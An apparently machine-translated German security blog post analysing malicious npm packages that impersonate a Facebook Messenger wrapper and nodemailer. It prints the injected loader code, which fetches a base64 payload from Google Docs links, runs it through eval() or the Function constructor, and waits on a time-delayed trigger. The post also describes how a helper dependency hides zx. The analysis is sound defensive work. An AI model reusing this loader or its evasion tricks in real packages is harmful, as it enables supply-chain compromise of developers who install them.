Am 14. März 2025 entdeckten wir ein bösartiges Paket auf npm genannt node-facebook-messenger-api. Zuerst schien es sich um eine ziemlich gewöhnliche Malware zu handeln, obwohl wir das Endziel nicht erkennen konnten. Wir dachten nicht weiter darüber nach, bis zum 3. April 2025, als wir sahen, wie derselbe Bedrohungsakteur seinen Angriff ausweitete. Dies ist eine kurze Übersicht über die Techniken, die dieser spezifische Angreifer verwendet hat, und einige interessante Beobachtungen darüber, wie ihre Verschleierungsversuche sie letztendlich noch offensichtlicher machen.
TLDR
node-facebook-messenger-api@4.1.0, getarnt als legitimer Facebook Messenger Wrapper.axios und eval() um eine Payload von einem Google Docs-Link abzurufen — aber die Datei war leer.zx Bibliothek zur Umgehung der Erkennung, die bösartige Logik einbettet, die Tage nach der Veröffentlichung ausgelöst wird.node-smtp-mailer@6.10.0, imitiert nodemailer, mit der gleichen C2-Logik und Obfuskation.Hyper-Typen), was eine klare Signaturmuster Verknüpfung der Angriffe.Erste Schritte
Alles begann am 14. März um 04:37 UTC, als unsere Systeme uns auf ein verdächtiges Paket aufmerksam machten. Es wurde vom Benutzer veröffentlicht victor.ben0825, der auch behauptet, den Namen perusworldDies ist der Benutzername des Benutzers, dem die legitimes Repository für diese Bibliothek.

Hier ist der Code, den es als bösartig erkannt hat in node-facebook-messenger-api@4.1.0:, in der Datei messenger.js, Zeile 157-177:
const axios = require('axios');
const url = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
async function downloadFile(url) {
try {
const response = await axios.get(url, {
responseType: 'arraybuffer'
});
const fileBuffer = Buffer.from(response.data);
eval(Buffer.from(fileBuffer.toString('utf8'), 'base64').toString('utf8'))
return fileBuffer;
} catch (error) {
console.error('Download failed:', error.message);
}
}
downloadFile(url);
Der Angreifer hat versucht, diesen Code in einer 769 Zeilen langen Datei zu verstecken, die eine große Klasse ist. Hier haben sie eine Funktion hinzugefügt und rufen diese direkt auf. Sehr clever, aber auch sehr offensichtlich. Wir haben versucht, die Payload abzurufen, aber sie war leer. Wir haben sie als Malware markiert und sind weitergegangen.
Wenige Minuten später veröffentlichte der Angreifer eine weitere Version, 4.1.1. Die einzige Änderung schien in der/dem zu liegen README.md und package.json Dateien, in denen sie die Version, Beschreibung und Installationsanweisungen geändert haben. Da wir den Autor als unseriös kennzeichnen, wurden Pakete ab diesem Zeitpunkt automatisch als Malware markiert.
Versuch, unauffällig zu sein
Am 20. März 2025 um 16:29 UTC hat unser System dann automatisch die Version markiert 4.1.2 des Pakets. Werfen wir einen Blick auf die Neuerungen. Die erste Änderung betrifft node-facebook-messenger-api.js, welches Folgendes enthält:
"use strict";
module.exports = {
messenger: function () {
return require('./messenger');
},
accountlinkHandler: function () {
return require('./account-link-handler');
},
webhookHandler: function () {
return require('./webhook-handler');
}
};
var messengerapi = require('./messenger');Die Änderung an dieser Datei ist die letzte Zeile. Es importiert nicht nur die messenger.js Datei, wenn angefordert, wird es immer beim Import des Moduls durchgeführt. Clever! Die andere Änderung betrifft diese Datei, messenger.js. Es hat den zuvor gesehenen hinzugefügten Code entfernt und Folgendes in den Zeilen 197 bis 219 hinzugefügt:
const timePublish = "2025-03-24 23:59:25";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function setProfile(ft) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ft, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
//console.error('err:', error.message);
}
}
const gd = 'https://docs.google.com/uc?export=download&id=1ShaI7rERkiWdxKAN9q8RnbPedKnUKAD2';
setProfile(gd);
}
Hier ist eine Übersicht darüber, was es leistet:
- Es verwendet eine zeitbasierte Überprüfung, um zu bestimmen, ob der bösartige Code aktiviert werden soll. Er würde sich erst etwa 4 Tage später aktivieren.
- Anstatt zu verwenden
axios, es nutzt jetzt GooglezxBibliothek zum Abrufen der bösartigen Payload. - Es deaktiviert den Verbose-Modus, der auch der Standard ist.
- Es ruft dann den bösartigen Code ab
- Es base64-dekodiert es.
- Es erstellt eine neue Funktion unter Verwendung des
Function()Konstruktor, der effektiv einemeval()Aufruf. - Es ruft dann die Funktion auf und übergibt dabei
requireals Argument.
Aber auch hier erhalten wir beim Versuch, die Datei abzurufen, keine Payload. Wir erhalten lediglich eine leere Datei namens info.txt. Die Verwendung von zx ist merkwürdig. Wir haben uns die Abhängigkeiten angesehen und festgestellt, dass das Originalpaket einige Abhängigkeiten enthielt:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"merge": "^2.1.1",
"request": "^2.81.0"
}Das bösartige Paket enthält Folgendes:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}Schauen Sie mal, sie haben die Abhängigkeit hyper-types hinzugefügt. Sehr interessant, wir werden darauf noch einige Male zurückkommen.
Sie schlagen wieder zu!
Am 3. April 2025 um 06:46 Uhr wurde dann ein neues Paket vom Nutzer veröffentlicht cristr. Sie veröffentlichten de-Paket node-smtp-mailer@6.10.0. Unsere Systeme haben es automatisch markiert, da es potenziell bösartigen Code enthielt. Wir haben es uns angesehen und waren etwas aufgeregt. Das Paket gibt vor, zu sein nodemailer, nur mit einem anderen Namen.

Unser System hat die Datei markiert lib/smtp-pool/index.js. Wir sehen schnell, dass der Angreifer Code am Ende der legitimen Datei hinzugefügt hat, direkt vor dem finalen module.exports. Hier ist, was hinzugefügt wird:
const timePublish = "2025-04-07 15:30:00";
const now = new Date();
const pbTime = new Date(timePublish);
const delay = pbTime - now;
if (delay <= 0) {
async function SMTPConfig(conf) {
try {
const mod = await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(conf, {redirect: 'follow'});
const fileBuffer = await res.arrayBuffer();
const data = Buffer.from(Buffer.from(fileBuffer).toString('utf8'), 'base64').toString('utf8');
const nfu = new Function("rqr", data);
nfu(require)();
} catch (error) {
console.error('err:', error.message);
}
}
const url = 'https://docs.google.com/uc?export=download&id=1KPsdHmVwsL9_0Z3TzAkPXT7WCF5SGhVR';
SMTPConfig(url);
}
Wir kennen diesen Code! Er ist wieder so mit Zeitstempel versehen, dass er erst 4 Tage später ausgeführt wird. Wir versuchten aufgeregt, die Payload abzurufen, erhielten aber nur eine leere Datei namens beginner.txt. Buh! Wir schauen uns die Abhängigkeiten erneut an, um zu sehen, wie sie hereingezogen werden. zxWir stellten fest, dass die legitime nodemailer Paket hat Nein direkt Abhängigkeiten, nur devDependencies. Aber hier ist, was sich im bösartigen Paket befindet:
"dependencies": {
"async": "^3.2.2",
"debug": "^3.1.0",
"hyper-types": "^0.0.2",
"merge": "^2.1.1",
"request": "^2.81.0"
}Sehen Sie eine Ähnlichkeit zwischen diesem und dem ersten Paket, das wir entdeckt haben? Es ist dieselbe Abhängigkeitsliste. Das legitime Paket hat keine Abhängigkeiten, das bösartige jedoch schon. Der Angreifer hat einfach die vollständige Abhängigkeitsliste vom ersten Angriff auf diesen kopiert.
Interessante Abhängigkeiten
Warum haben sie also die Nutzung von gewechselt axios zu zx für die Erstellung von HTTP Requests? Definitiv zur Vermeidung der Erkennung. Aber was interessant ist, ist, dass zx ist keine direkte Abhängigkeit. Stattdessen hat der Angreifer hyper-types eingebunden, ein legitimes Paket des Entwickelnden lukasbach.

Abgesehen davon, dass das referenzierte Repository nicht mehr existiert, gibt es hier etwas Interessantes zu beachten. Sehen Sie, wie es 2 gibt Abhängige? Ratet mal, wer das ist.

Hätte der Angreifer seine Aktivitäten tatsächlich verschleiern wollen, wäre es ziemlich dumm, sich auf ein Paket zu verlassen, von dem sie die einzigen Abhängigen sind.
Abschließende Worte
Obwohl es dem Angreifer hinter diesen npm-Paketen letztendlich nicht gelang, eine funktionierende Payload zu liefern, unterstreicht seine Kampagne die fortlaufende Entwicklung von Lieferkettenbedrohungen, die auf das JavaScript-Ökosystem abzielen. Die Verwendung von verzögerter Ausführung, indirekten Importen und Dependency Hijacking zeigt ein wachsendes Bewusstsein für Erkennungsmechanismen – und die Bereitschaft zu experimentieren. Es zeigt aber auch, wie schlampige operative Sicherheit und wiederholte Muster sie immer noch verraten können. Für Verteidiger ist es eine Erinnerung daran, dass selbst fehlgeschlagene Angriffe wertvolle Informationen liefern. Jedes Artefakt, jeder Verschleierungstrick und jede wiederverwendete Abhängigkeit hilft uns, bessere Erkennungs- und Zuordnungsfähigkeiten aufzubauen. Und am wichtigsten ist, dass es unterstreicht, warum die kontinuierliche Überwachung und automatische Kennzeichnung öffentlicher Paket-Registries nicht länger optional, sondern entscheidend ist.
Sichern Sie Ihre Software jetzt.



.avif)
